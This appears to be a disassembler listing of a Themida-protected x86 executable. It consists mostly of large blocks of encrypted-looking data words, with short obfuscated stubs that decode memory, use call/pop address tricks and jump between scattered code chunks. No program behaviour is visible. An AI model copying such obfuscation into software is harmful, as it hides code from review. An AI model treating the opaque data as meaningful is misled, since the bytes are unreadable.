1EBBF7C3h, 0FD742E76h, 0E172CB75h dd 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h dd 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h, 0ADB93B89h dd 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h dd 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h dd 151AB2FEh, 0FD7A2F75h, 0E690162Fh, 7072CA19h, 0FC1C01CFh dd 0F50F797Dh, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 19E7A226h dd 7D729613h, 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h dd 0FD7ABC9Dh, 17FB0475h, 0F57B4321h, 9B9E25F8h, 80F1C374h dd 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h, 0F57B3891h dd 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 9B9E58F8h, 0C2FBFA74h dd 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h, 9C82969Eh dd 40F7ABB6h, 0F57B8391h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h dd 3DF19D14h, 78F7EFFEh, 0F57BF184h, 0CA8BD08Ah, 0E2870CEBh dd 62DD4FC1h, 2D2F24F8h, 41E9BB7Dh, 0E9000006h, 635h, 0D40A9482h dd 7DB3EB27h, 235945D0h, 0CF059976h, 79AFEF22h, 6AA79045h dd 0C351FE34h, 18F8A5DBh, 70A35086h, 0D129F82Eh, 0E7EF52B5h dd 631A8007h, 0A7326CA7h, 45D0CE42h, 0DF6A34E0h, 7C07977Ah dd 633BD72Ch, 5C09AFD8h, 0E5EE9B5h, 0BA4559B9h, 0D13EEB91h dd 38DD42CDh, 27E70F55h, 0CD38B2ECh, 2DB8216Bh, 1E434AC8h dd 0C417611Fh, 627F0E5Ah, 672F4FE8h, 416AF5A9h, 8ADF6FD8h dd 638C1787h, 0B0DA2ABDh, 201B62D8h, 6DCE7400h, 5FB4441Ch dd 3760EBB3h, 79B9F991h, 43AFEF24h, 0FFE6F9E0h, 9307AD06h dd 7E865F1h, 801EF146h, 0AD3891DAh, 9BD1CD48h, 0EC7727EEh dd 0AB9A5DC0h, 0ABF31F4Fh, 4955BB20h, 722C65BEh, 3EF831CAh dd 0ADE3BB5Ah, 93233D4Ch, 8D11FE53h, 0A6DD902h, 384FA96Ah dd 61A139DFh, 1A9CD737h, 0DF852831h, 0AA8DCD6Bh, 10A0F957h dd 0BF4A54BBh, 7EE7B75Ah, 0BC623CD9h, 524CC429h, 0C1A16F1Ch dd 9D011151h, 1780E912h, 0C1DD3287h, 4B930D36h, 0F0D28EB3h dd 0C1ED8026h, 74A42ADFh, 0FF1B5BABh, 6B1FAA9Ch, 0CEA360CAh dd 0FD54A9E6h, 0B36DEE94h, 19858FE4h, 12BF658Eh, 96AA0FEh dd 1050E080h, 0B9445ABBh, 0C476EA90h, 43731A65h, 385423EEh dd 6CAA5FD5h, 9339A2FBh, 0C61F14Ah, 0E60F9A04h, 1A81AD40h dd 246CAA5Fh, 0AAE2E9A3h, 48A5386Bh, 7, 3AB6DD9h, 0A7060000h dd 7BA53569h, 0C9933A50h, 0DEA31DEFh, 0B61F2156h, 0D53ACD73h dd 81D35E40h, 56BA9E58h, 0AFA20521h, 77D0FFE6h, 0EB297E0Eh dd 22CF0DB3h, 9425B0EEh, 0CCD24137h, 2D35DC41h, 32CB7E7h dd 0C2F30F9Ah, 0BC356008h, 0ACF21E02h, 2D4AC71Ch, 0E6AFAE11h dd 127BD4FFh, 41962E6Ch, 7C29CFCFh, 157A0599h, 8719A4FAh dd 55C0A45Eh, 0F9A040Dh, 0AD006CE6h, 0A2BE4E43h, 688F0339h dd 0B263C53Eh, 71093F5Fh, 0CB828847h, 0BE649C10h, 109B0311h dd 0AA3569ABh, 7A5E1851h, 0E7CE049Ah, 0F1h, 0AB67BC80h dd 0DBC34EF3h, 0B1BBD435h, 4C52C126h, 0E1AC6916h, 0BD0384C0h dd 1DA811B7h, 0E6B18EF1h, 8EE323FFh, 0F6771D81h, 0E1BD583Ch dd 4C16FEABh, 2750DBC3h, 8EE333BEh, 68911C82h, 0B159BCD8h dd 2E87FFE6h, 6638DB88h, 3859ACD6h, 0D380A69Ch, 0E77A54B7h dd 0C02982FFh, 0DE2E871Ah, 6C128C89h, 0C74D31EBh, 21F247D7h dd 24C9F27Dh, 0FF28B3EBh, 2E831B59h, 62FBAE4h, 3D61B360h dd 0DAC44DB2h, 0B3A204Ah, 3E84B67h, 0B50EFFE7h, 0FFB9E73Bh dd 0D8018C12h, 0A436C96Fh, 37DDC17Bh, 8D843167h, 25418111h dd 0FFE6B3C2h, 0F15470F0h, 1FFFE6B2h, 24B75DC6h, 0CD0E3593h dd 0E8044413h, 0FFE6B385h, 0FFAC52ABh, 0A7FC8C12h, 46AB3668h dd 1C45D0CEh, 22CF0DB3h, 0DB3489EEh, 0A30F38C3h, 0FFE6B340h dd 19A40D66h, 0E6B387EDh, 0AB6596FFh, 1F5549C7h, 607CBC68h dd 0FFE682FDh, 3950CA23h, 0E2AE7C22h, 61AF5C02h, 0C34DB23Dh dd 0DC3598B4h, 0F15BFFE6h, 0D6DD1B9Ah, 58C12AC4h, 0F3AB68CDh dd 8C120368h, 3295B101h, 60FFE6BEh, 7B356E07h, 8C4677D3h dd 0B6FE93BDh, 46F1F241h, 0EB379AB6h, 45DFFE6h, 3F5FB15Eh dd 0E8B65AAFh, 508E345Dh, 0E6F052DCh, 256028FFh, 0C53874F7h dd 0FFFFFEA5h, 0B996F356h, 563459F1h, 0B141AAE0h, 0E0F02B95h dd 0D35EB707h, 0C3F9A56Eh, 6539D62Bh, 9D0112BFh, 62AD12h dd 9B268F0Fh, 804F0942h, 2FBAE42Bh, 60B36006h, 0B85B083Eh dd 0C92F5BE6h, 0DA07E0C3h, 80BEFA9h, 88C86096h, 0E0C3096Ch dd 38DE3707h, 8B16888Bh, 9BE7113Bh, 0F067D82Ah, 83137C22h dd 0E1610467h, 33D93207h, 19A9B7D2h, 0DB794BFDh, 88BE170Fh dd 6EFE6227h, 1DA8F619h, 76B64EF4h, 4CB71A36h, 48DDFFE7h dd 0C369D2CCh, 0E8B8B54Fh, 0ED78D107h, 0E0168888h, 36C1DD33h dd 0AC25A70Ah, 0F7A7694Fh, 940A076Ch, 0D48EB709h, 305A9A2Ch dd 0B6B1B46Eh, 0E3640A8Eh, 0D3CB4529h, 7A24F09Dh, 18868AEFh dd 0C92C4888h, 0F74FA888h, 4065F89Eh, 0F63605BFh, 0A88877DAh dd 11D9D4Fh, 4FA8889Eh, 5D026BC4h, 325BE6B8h, 9484BC8Ch dd 166B8836h, 18F99FFFh, 0B9h, 336BA7A9h, 0A29E79A3h, 63B20FE1h dd 0BDE77FBDh, 0BB3029EDh, 5A950F45h, 1D0B9DA6h, 90CB95Fh dd 5DB25F95h, 5571B141h, 0FFE715F2h, 0E321C720h, 8DC3DB36h dd 0E03131E0h, 7A0A33BEh, 0E715FB5Eh, 67D029FFh, 0E908431h dd 0BF223E7Eh, 81FFE716h, 70C90A94h, 31DF8CCAh, 898A376Dh dd 0DF32DF15h, 55AD34BFh, 0E48A1400h, 66D70151h, 4E71A91Fh dd 0E2B58EB4h, 5D380968h, 314EB1CDh, 1B74FFE7h, 534BC875h dd 530D36C8h, 76D9F54Dh, 9CFFE731h, 319D001Ch, 6AC3FFE7h dd 0A9FCCB01h, 670Ah, 0C8F4A300h, 0FFE68368h, 29B4EA2Ah dd 0C24D51C4h, 0A54D0730h, 4F0AAD3h, 336BA75Dh, 0D9C550FDh dd 8519F6A3h, 1E6FA24Fh, 0E4E3F0Bh, 0C3F9624Ah, 6DA3FB16h dd 0C9280D5h, 5B25881h, 0C1598F0Fh, 70FBA36Ch, 2E97070Bh dd 4235DB88h, 0E743C326h, 2F98F1FFh, 0D8C64A9Fh, 407E244Dh dd 0E81E8093h, 301h, 5CBB9A00h, 0A42F6FA7h, 3FCAD43Fh dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch dd 0E9742AEBh, 85108E84h, 404D6852h, 0C890000h, 6D8A6824h dd 34890000h, 0E0895024h, 405h, 42D00h dd 4870000h, 14895C24h, 0AB95124h, 0BE22410Ch, 0E5C060D1h dd 2546EE81h, 0CE0170FFh, 2546C681h, 685970FFh, 590Ch dd 81242489h, 42404h, 505A0000h, 601BB53h, 9B8533Ah, 31533A06h dd 0D0015BD8h, 8B583089h ; --------------------------------------------------------------------------- adc al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dd 0BF98C03Ch, 727CB830h, 0C5030801h, 14E8D38Bh, 42000000h dd 81624F0Eh, 68F62FD6h, 2FC8FEB0h, 0DF530368h, 80B3F489h dd 0F5A1BDCh, 98Dh, 38C0F00h, 0F000000h, 0C281FEBFh, 7182h dd 11E9h, 0E1663E00h, 8176B48Fh, 67EEF362h, 7663E2A8h dd 68E376h, 60000000h, 0ED11CB8h, 0CE823h, 72310000h, 6622233Dh dd 16CCCDDDh, 810FBE96h, 0 ; --------------------------------------------------------------------------- pop ecx popa pop esi jnp loc_5FA7D0 sbb cl, 38h ; START OF FUNCTION CHUNK FOR sub_5FA83B loc_5FA7D0: ; CODE XREF: Themida_:005FA7C7j ; sub_5FA83B+7j mov ebx, [edx+esi] pusha cld stc popa add ebx, 1ACA5182h mov ah, bl xor ebx, 0D9F512Eh pusha cld popa add ebx, 46EC999Ah push ebx mov ax, dx pop dword ptr [edx+esi] mov ecx, ebx cld sub esi, 3 mov ecx, ebx dec esi jle loc_5FA80A sub edi, 538A0CA8h loc_5FA80A: ; CODE XREF: sub_5FA83B-3Dj cmp esi, 0FFFF8F68h jnz loc_5FA82C mov ax, 0D699h jmp loc_5FA84D ; END OF FUNCTION CHUNK FOR sub_5FA83B ; --------------------------------------------------------------------------- db 51h dd 0B168CD21h, 0EF50BC0Eh, 0CA262E56h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FA83B loc_5FA82C: ; CODE XREF: sub_5FA83B-2Bj call sub_5FA83B jp short near ptr byte_5FA879 sub [eax+4525CFC9h], esi jg short loc_5FA869 ; END OF FUNCTION CHUNK FOR sub_5FA83B ; =============== S U B R O U T I N E ======================================= sub_5FA83B proc near ; CODE XREF: sub_5FA83B:loc_5FA82Cp ; FUNCTION CHUNK AT 005FA7D0 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 005FA82C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005FA84D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005FCD00 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005FCD2F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00600F1B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00600F4E SIZE 00000021 BYTES sub eax, 2C7874E7h pop eax jmp loc_5FA7D0 sub_5FA83B endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esp and eax, 0D16931BCh ; START OF FUNCTION CHUNK FOR sub_5FA83B loc_5FA84D: ; CODE XREF: sub_5FA83B-21j lea ebx, [ebp+7FA262Dh] mov eax, 2490h mov [ebp+7FA0D81h], eax call $+5 pop eax add eax, 0Dh loc_5FA869: ; CODE XREF: sub_5FA83B-2j mov [ebx], eax jmp loc_5FCD00 ; END OF FUNCTION CHUNK FOR sub_5FA83B ; --------------------------------------------------------------------------- dd 2 dup(0) db 0 byte_5FA879 db 3 dup(0) ; CODE XREF: sub_5FA83B-Aj dd 921h dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FA83B loc_5FCD00: ; CODE XREF: sub_5FA83B+30j jmp loc_5FCD2F ; END OF FUNCTION CHUNK FOR sub_5FA83B ; --------------------------------------------------------------------------- mov dword ptr [esp], 0 call $+5 pop ebp sub ebp, 80198D0h mov eax, [esp+4] mov [ebp+7FA212Dh], eax mov eax, 0 lea ecx, [ebp+7FA4F66h] jmp ecx ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5FA83B loc_5FCD2F: ; CODE XREF: sub_5FA83B:loc_5FCD00j mov eax, 6754h jmp loc_600F1B ; END OF FUNCTION CHUNK FOR sub_5FA83B ; --------------------------------------------------------------------------- db 9Fh, 77h, 27h dd 0D0CE44F1h, 7628ED9Ah, 227C9340h, 0CCD23FECh, 0C6AD6296h dd 701D534Bh, 17C4FAA4h, 0C26FA5F9h, 48174D51h, 1B71D4F0h dd 399F07E8h, 0AD67BC82h, 0FE864BF1h, 0EF0B6CA9h, 0FFE6838Ch dd 52F861BAh, 326CA79Bh, 0A752C183h, 83C92F6Ch, 9CF5FFE6h dd 55ADAEDh, 0DE07920Ch, 1F7B8138h, 0D3771E1Fh, 0FA204A19h dd 0AED33D5Fh, 187B9727h, 3EFFE6A8h, 0BC883FE5h, 4CF2AC67h dd 0C303749Fh, 0E68344A7h, 0AB0872FFh, 0C404EEA8h, 0D549EF58h dd 0FFE6BD6Fh, 0BC93429Bh, 0AFEC792h, 781E8ECAh, 7CBC8C33h dd 0E682FD60h, 50CA23FFh, 103F68FCh, 11BE6436h, 0C1EF9E00h dd 0FA68A752h, 6C1B841Ah, 0FD607CBCh, 23FFE682h, 229124CAh dd 0E55C860Eh, 2F6E28F1h, 0AA138B86h, 0EF62AC30h, 0FFA5B751h dd 2B19D348h, 83326CA7h, 6CA73BDAh, 0D878A232h, 87861B28h dd 0BC7D34DAh, 6BF6A867h, 83229C42h, 19D35AB9h, 326CA72Bh dd 0E0680F83h, 0FFE6F346h, 326CA7EEh, 0A75F1683h, 1683326Ch dd 0F86AA75Fh, 0DBF78717h, 0FFE68378h, 2DDC459Eh, 0F3AB67BCh dd 779A3F68h, 9EEE8127h, 83DF425Eh, 0AC05FFE6h, 69A74F06h dd 0E683CC32h, 0F2A1FAFFh, 6AA73BDAh, 0E683CB31h, 0EF9EF7FFh dd 68A7680Fh, 92BC8736h, 5CA80865h, 770AB0E1h, 5D41D227h dd 4C03A9D2h, 300C1CE0h, 860EDC77h, 83C72A46h, 8C89FFE6h dd 1D5E8712h, 0BC671EC4h, 0F7ADDF92h, 6B07811Dh, 9819BF83h dd 6BA7F0DEh, 0D1298E22h, 0CC3526E1h, 0E052C11Dh, 22DA06ABh dd 0BC670E4Bh, 6AF5A967h, 601A9B41h, 316DA772h, 0B3C44CA1h dd 0E6833497h, 0A00962FFh, 71C143FAh, 1CA7F71Ch, 0A7964DF3h dd 0C182316Dh, 0D3670E52h, 6AA72B19h, 67BC8534h, 1250F6A8h dd 3569A75Bh, 3171C186h, 0E683B215h, 0E187E0FFh, 3569A72Ah dd 2277BF86h, 530AB0EEh, 0E4A967BCh, 0BEAE8A7h, 50F65FEAh dd 9C2C72A3h, 0E3DD405Ch, 0AA03FFE6h, 0E39BFE1Ah, 70C9FFE6h dd 58BF13CAh, 19D386EDh, 3569A72Bh, 0A74BAA86h, 0EEE40E69h dd 3D6631EFh, 36147793h, 0E942FFE7h, 66DA80h, 0DFFFE736h dd 0AD0D6AB5h, 18BEC46Ah, 0C6D83ACFh, 9778CD5Dh, 0DAAA6107h dd 3F11305Ah, 0C1736D54h, 20ABF31Ch, 7B9A51F7h, 961E1E1Eh dd 83D73A56h, 0A4FDFFE6h, 19D347FEh, 0E69A72Bh, 0BD4856B9h dd 147AEE94h, 42FFE683h, 0C12F59E9h, 6EA30477h, 0F9A51F7h dd 1A1A7B68h, 863569A7h, 69A7680Fh, 3BDA8635h, 0F1AD67BCh dd 0EA973D66h, 0DAC5742Ah, 52A7EF3Bh, 7E35DBC3h, 0A72B19D3h dd 0F863569h, 3569A768h, 547E1686h, 8D570514h, 843BE163h dd 0C9AE67BCh, 0E6834AADh, 0B61F78FFh, 5F43F12Bh, 1838C486h dd 96080AAFh, 0D1CD43F0h, 0BC52C122h, 0A6FA6392h, 0D57BF227h dd 4B3EB28h, 6AA752C1h, 58BF8534h, 863569A7h, 6AA74BAAh dd 0AE7AA434h, 68C0F13Dh, 0FE6737D8h, 3BDAA158h, 0F94E2F7Bh dd 0CFF8831Bh, 6EA77229h, 0CF40A530h, 0BF0044CFh, 63F35D05h dd 0A8C010Eh, 0A9A24D9Bh, 0D9028DF6h, 19D37C33h, 326CA72Bh dd 277CBC83h, 0E144B0EEh, 0FFFE682h, 3AD210B6h, 0FDAFBA10h dd 0FF1B74EEh, 0FFE76E9Ch, 8E0871CAh, 0A8B46B71h, 9F56FCE2h dd 863569A7h, 0FFE052C1h, 0D6FFE6F9h, 7FE8F81h, 25044AE9h dd 3B64EF58h, 89F0DE95h, 0BC2B19D3h, 0B25A6F92h, 0FBF737Ch dd 0C1E96332h, 0C26F158Fh, 16A1504Eh, 1B92BC5Fh, 0FDF35EDAh dd 1FF4A147h, 71C1D07Fh, 83B21531h, 87E0FFE6h, 68A72AE1h dd 0BE51A636h, 0C4DA3BE0h, 0B36A1039h, 6AA752C1h, 0CD44A934h dd 0B4ED46D1h, 9BAF41FAh, 0C75073F2h, 0D379205Eh, 9DF32B19h dd 2B19D37Dh, 863569A7h, 0FD607CBCh, 23FFE682h, 0AEF025CAh dd 0A713CA08h, 0C183326Ch, 2E6DA752h, 0FFE683C8h, 0BCEE9DF6h dd 82FD607Ch, 0CA23FFE6h, 0A70BAA24h, 0DA863569h, 920C055Ah dd 8138DE07h, 19D333E2h, 3668A72Bh, 0AC67BC87h, 983E67F2h dd 0B260B505h, 0A78F46ECh, 83C92F6Ch, 9CF5FFE6h, 0AD92BCEDh dd 288F0ECh, 1DBC36DCh, 0FD607CBCh, 23FFE682h, 9C7724CAh dd 0E68399FFh, 0A44C76FFh, 0D105E72Ch, 116AB359h, 0A7680F62h dd 0BC83326Ch, 17B3D492h, 38DE938Ah, 6CA743FAh, 3BDA8332h dd 0F0AE67BCh, 46EE0376h, 0DC82682Eh, 0C4A9A903h, 0AFCC4A74h dd 401FEC0Fh, 19D3E39Ah, 326CA72Bh, 80D62A2h, 76E20B96h dd 0FFE68313h, 42A5C141h, 70FFE683h, 5108AE17h, 0F5A967BCh dd 0F3630A4Fh, 0BF729C9Dh, 3B2C0271h, 0D323DA80h, 6CA72B19h dd 5F168332h, 0B4AE67BCh, 8FB8435Bh, 3CD38026h, 67BCB362h dd 4069F4AAh, 833194B0h, 65FFFE6h, 0A75ECD60h, 0C1873668h dd 20207B52h, 7CBC2AC9h, 0E682FD60h, 24CA23FFh, 0BCFBE9A3h dd 6BF6A867h, 20EF9C42h, 0FED22D57h, 9B784715h, 0E771CC2Fh dd 247A96FFh, 0D62F7099h, 5F16BE6Dh, 0F6A867BCh, 0A4F4DC50h dd 0A784FFE6h, 16873668h, 0B6E8297Eh, 9DF35910h, 0A967BC7Dh dd 9B416AF5h, 0CE7D21EEh, 6BA758BFh, 77BF8433h, 26B1ED22h dd 82A057FDh, 784B0832h, 4FF2FB8Eh, 7AE437D5h, 9036D6E2h dd 4A19D3D9h, 42D0FF20h, 4AF0259Ch, 0AB67BC93h, 0FC1868F3h dd 0FFE68399h, 5F056EC7h, 0B1415DB2h, 5FEAB45Ch, 0AAD99036h dd 1D92BC4Bh, 0E93D609Ch, 0B06AEB91h, 0F86AA7C2h, 0D0F9841Ah dd 7CBCB867h, 46B2EC27h, 0FFE682E3h, 0FE13B811h, 46EC15A0h dd 6EA744B3h, 1140CE1Fh, 268F4F3Bh, 0D73A5696h, 0FDFFE748h dd 67F2AC68h, 782FD53Eh, 0F2AC67BCh, 3983E67h, 3668A79Ch dd 0DDC151A6h, 4BAA8037h, 0A63668A7h, 9BB7C051h, 0FFE68338h dd 0F69C055Eh, 0E052C13Fh, 0FFE6836Dh, 796FFA24h, 0E74C93B2h dd 5BBA8A41h, 0A72B19D3h, 16873668h, 0AB67BC5Fh, 993F68F3h dd 0D73D25ECh, 8ECE5EC7h, 57C3DB39h, 0FFE682F4h, 6C23C922h dd 0E8297E16h, 5C022BB6h, 3668A7A5h, 0A75F1687h, 0C183326Ch dd 336BA752h, 0E44763A3h, 12FFE682h, 0BC5C13B9h, 4CF2AC67h dd 0FE1469B9h, 267CE38Fh, 82EB5797h, 7128CEF7h, 83326CA7h dd 0F5A967BCh, 0A74DBC4Fh, 0C185346Ah, 0D389F052h, 6CA72B19h dd 92BC8332h, 0F33A2F0h, 7FBD6353h, 326CA7C8h, 9DC54DA2h dd 769F2A74h, 0C1B0670Dh, 0F892BC52h, 6D723B2Eh, 6620839Fh dd 0ED46FFE7h, 0A805DE84h, 0D37221A8h, 6CA72B19h, 5F168332h dd 84336BA7h, 5C4771C1h, 1C449F53h, 7B3BF298h, 69A71D1Dh dd 0CE45AA35h, 0F82945D0h, 0E4BA5A3Eh, 9CC73059h, 9A77CC0Ch dd 0E4507904h, 0FFE68381h, 0F9B056AFh, 0FD607CBCh, 23FFE682h dd 870650CAh, 86EC3249h, 0B7A55FE0h, 84336BA7h, 223E7E16h dd 0FFE683BFh, 25837BE5h, 7DF429C6h, 0A7B76E14h, 8DF00C6Bh dd 7AFFE683h, 67929E4Fh, 217ABB3Ch, 5F1609B8h, 83326CA7h dd 0F6A867BCh, 0E04EBD50h, 0FFE691C6h, 2363B36Eh, 0E683A407h dd 0D379D2FFh, 2B19D31Ch, 83326CA7h, 67BC5F16h, 4DB0CCABh dd 73FFE683h, 5E0BB11Ah, 459E9B5h, 30E78D11h, 0ACE052C1h dd 4CA84536h, 0AB3668A7h, 4AD5C946h, 56FEB8F1h, 19D37118h dd 346AA72Bh, 0A752C185h, 83C92F6Ch, 60F5FFE6h, 0F282EBB3h dd 833396B2h, 0CC61FFE6h, 0A6CF5A44h, 0BCE0973Dh, 68F3AB67h dd 9F1F993Fh, 83E0435Fh, 0AD06FFE6h, 6AA75007h, 0E683CB31h dd 0EF9EF7FFh, 64305ADAh, 0CD52A70Ah, 48100595h, 81EAF296h dd 0D72B9407h, 0D97FA42Bh, 0D3086F22h, 67BC2B19h, 416AF5A9h dd 7625EE9Bh, 0FFE68310h dd 0BC36E53Eh, 4AF0AE67h, 0E9287D05h, 87012AB5h, 56C9BC86h dd 4D04AA9Ah, 83326CA7h, 6CA75F16h, 7CBC8332h, 0E682FD60h dd 50CA23FFh, 3EE2CF9Fh, 0AEEC92C5h, 4E50C116h, 0E88FF1A8h dd 85F4E88Fh, 0E6837DE0h, 5BBA35FFh, 9F2B19D3h, 306EA7F8h dd 0D6C84BA0h, 977D224Bh, 0AD537C07h, 8552C1F6h, 3DA0BC0Eh dd 63FFE683h, 5F165B0Ah, 6EA785F4h, 5F168130h, 0F4AA67BCh dd 2C72A14Eh, 0E052C17Dh, 0FFE6837Dh, 8D11FF54h, 7C33D902h dd 83326CA7h, 0F0AE67BCh, 0A7550C4Ah, 0C181306Eh, 0B1EDE052h dd 7A852C32h, 2B19D31Bh, 81306EA7h, 92BC5F16h, 36E810A5h dd 37E48A5Eh, 0C111C0DEh, 326CA752h, 7A52C183h, 607CBC1Bh dd 0FFE682FDh, 0DB3398EAh, 1556B702h, 0DB9516BCh, 306EA7EDh dd 9BC74BA0h, 33BE2777h, 8364C7E3h, 3992FFE6h, 0BC732AD0h dd 1CFBD992h, 0FB8B0737h, 0E7007CDFh, 0AB51AAFFh, 6EA7B66Dh dd 71C18130h, 3A9F51Ch, 0E92BC4Ch, 0A01C5181h, 429AFF5Fh dd 6BD49080h, 0B75E51C5h, 0BA162C32h, 4A19D35Bh, 0EC79D420h dd 0C5EE7925h, 73EE5B4Bh, 4E77029Ch, 0A7883FE5h, 0BC81306Eh dd 4DF3AB67h, 2D85580Fh, 0DC6737D8h, 98019D77h, 52C13BF2h dd 0A2326CA7h, 50DBC34Dh, 16CA8127h, 0AE67BC5Fh, 7BEA4AF0h dd 0E6837DE0h, 12FF54FFh, 74DDC150h, 631AC0E9h, 19D31B7Ah dd 0BCF89F2Bh, 6AF5A967h, 27EE9B41h, 52C1C877h, 0E6837DE0h dd 5BBA35FFh, 204A19D3h, 972650E3h, 8E45EB84h, 0A0306EA7h dd 82E14460h, 0B60FFFE6h, 0F79D0111h, 0A75F1640h, 7D21F46Eh dd 1C828DF2h, 0C19B4AB3h, 0BC0E8552h, 0E6833DA0h, 7A0A63FFh dd 28B3EB25h, 743C4EEh, 47B0435Ch, 493406CDh, 0AE544800h dd 0B352C1F7h, 2B19D344h, 81306EA7h, 0F5A967BCh, 855A114Fh dd 0A752C10Eh, 0C181306Eh, 0BC44B352h, 68F3AB67h, 5E18993Fh dd 0C9D53A8Fh, 6FD2EE3Eh, 95FFE683h, 762DD33Ch, 6A316DA7h dd 0AA67BCF3h, 9A4069F4h, 8383E602h, 58B1FFE6h, 0A967BCA9h dd 9B416AF5h, 6EA7A65Dh, 71C18130h, 0AB69F91Ch, 0D6FF8AF3h dd 0D36D905Ch, 0AF557001h, 0BC0E85F8h, 82FD607Ch, 0CA23FFE6h dd 0C4C8C24h, 0E6838DF0h, 0B55AB3FFh, 25993F5Fh, 0FFE683C2h dd 0BCE897F0h, 84A44192h, 56D00D7Ch, 0C9F2E0AFh, 0E4771D3Dh dd 0BC44B375h, 4EF4AA67h, 0EF4413CDh, 1DD47A24h, 0FD607CBCh dd 23FFE682h, 38ADF5B9h, 258E533Ah, 5B43D27Fh, 297E16ACh dd 0FF28B3EBh, 179FA259h, 77FEFEDh, 531C9608h, 4A01A79Ch dd 0EE0A6DA7h, 0FFE6838Bh, 48F760B9h, 0E8552C1h, 833DA0BCh dd 0A63FFE6h, 0CE51507Ah, 0DE2C8A94h, 5F168138h, 0E6DCC5E0h dd 69A76DFFh, 0C450A535h, 0AC264FDAh, 5EE78ABh, 0FCB359D2h dd 0E8552C1h, 203C7CBCh, 0FFE683BDh, 70E48AE3h, 0FFE6830Dh dd 162BDA33h, 336BA75Fh, 0F452C184h, 0AD67BC85h, 973D66F1h dd 0E67628EAh, 7A207E91h, 0A75F16C3h, 0C184336Bh, 50854771h dd 94827CC8h, 14BA237Bh, 837DE05Dh, 0A735FFE6h, 45AA3569h dd 0F749D4CAh, 9A6C14CEh, 920C055Ah, 19D335ECh, 801EF54Ah dd 6BA723DAh, 3E5A1DF7h, 0FFE683DBh, 0DE47B009h, 0A75F162Fh dd 63A3336Bh, 83A40723h, 79D2FFE6h, 0E683AA0Dh, 0D97FD8FFh dd 0BC52C122h, 76FC492h, 2457C914h, 91FE780Fh, 3955E53Bh dd 0FFE735D6h, 89FDA3FCh, 0FFE73526h, 3EA1BDFDh, 15FFE735h dd 0E73596F9h, 2263BCFFh, 0BA6C23C9h, 4A19D35Bh, 838BEE0Ah dd 60B9FFE6h, 9F4559BBh, 336BA7E8h, 607CBC84h, 0FFE682FDh dd 19858E23h, 82FC658Eh, 94965A53h, 442E80Dh, 0A5F9176Ch dd 477F11Ah, 8DCE47D2h, 85C57C22h, 7C98ED2Dh, 8353B622h dd 2881FFE6h, 7CBCCB82h, 0E682FD60h, 24CA23FFh, 6BA72291h dd 67BC8433h, 416AF5A9h, 0BC99089Bh, 0E6833DA0h, 430A63FFh dd 2A3EC1EBh, 0E9AE9581h, 7CBC8C43h, 0BA3A7752h, 4858A015h dd 3EF88B67h, 0C93DE34Ch, 0FFE7386Ah, 16903F98h, 0F76BA75Fh dd 6A19821Ch, 0F89F5F16h, 83326CA7h, 0E8552C1h, 833DA0BCh dd 0A63FFE6h, 158507Ah, 0F583DD9Bh, 7319821Ch, 607CBCBCh dd 0FFE682FDh, 1E3ACA23h, 0FFE683BBh, 0ACEA90E9h, 8585F4F5h dd 0A752C10Eh, 78A2326Ch, 43B48E71h, 3AF197B2h, 0A4F45F16h dd 102FCD7Ah, 0F89E5F4Ah, 837DE041h, 0FF54FFE6h, 0DBC35210h dd 33BE2750h, 0F39A900Ah, 0B90B65DDh, 1B7A5C13h, 0F1AD67BCh dd 16973D66h, 179F6E5Ch, 8358BBD7h, 257EFFE6h, 6CA7C87Fh dd 52C18332h, 0E6837DE0h, 1B7A35FFh, 0A4A19D3h, 0E6838BEEh dd 0D060B9FFh, 0E68351B4h, 80267FFFh, 326CA7C9h, 0A75F1683h dd 0BC83326Ch, 4DF3AB67h, 7DE04BBAh, 35FFE683h, 0A5306EA7h dd 3EC9D540h, 0E5C983ACh, 0BAE36E30h, 0D360BF51h, 6CA72B19h dd 8B0F7321h, 0BD9E1886h, 0F9A811BCh, 6CA75F16h, 0C44DA232h dd 80264FDAh, 0A752C1C9h, 0F46B326Ch, 0FD607CBCh, 23FFE682h dd 708C24CAh, 0FFE6830Dh, 0C12BDA33h, 0BC44B352h, 4CF2AC67h dd 0A72311CBh, 1683326Ch, 0ED2D855Fh, 0E6836ED1h, 0BCE230FFh dd 7529E67Bh, 0DE58C1EAh, 4CAB7B68h, 43FAA042h, 6A7792BCh dd 0E2798EBAh, 0A73AA93Ch, 8CEF0B6Ch, 0BAFFE683h, 0BC49F861h dd 4AF0AE67h, 6CA748B7h, 0CD42A732h, 0F92A46D1h, 8FFE973Fh dd 852B19D3h, 607CBC0Eh, 0FFE682FDh, 4854B923h, 0A62E5297h dd 0BFFF973Dh, 68F3AB6Ah, 0C225993Fh, 0F0FFE727h, 5F16E897h dd 0E10692BCh, 4BB2F749h, 0AC3C9FBBh, 116AFFE6h, 4955BE6Bh dd 8552C19Ah, 3DA0BC0Eh, 63FFE683h, 52C15B0Ah, 72363B3h dd 0FFE683A4h, 83046783h, 0D932FFE6h, 0E2993F98h, 0FD607CBCh dd 23FFE682h, 0BB1E3ACAh, 0E9FFE683h, 0AF69EA90h, 0F392BCC1h dd 72003679h, 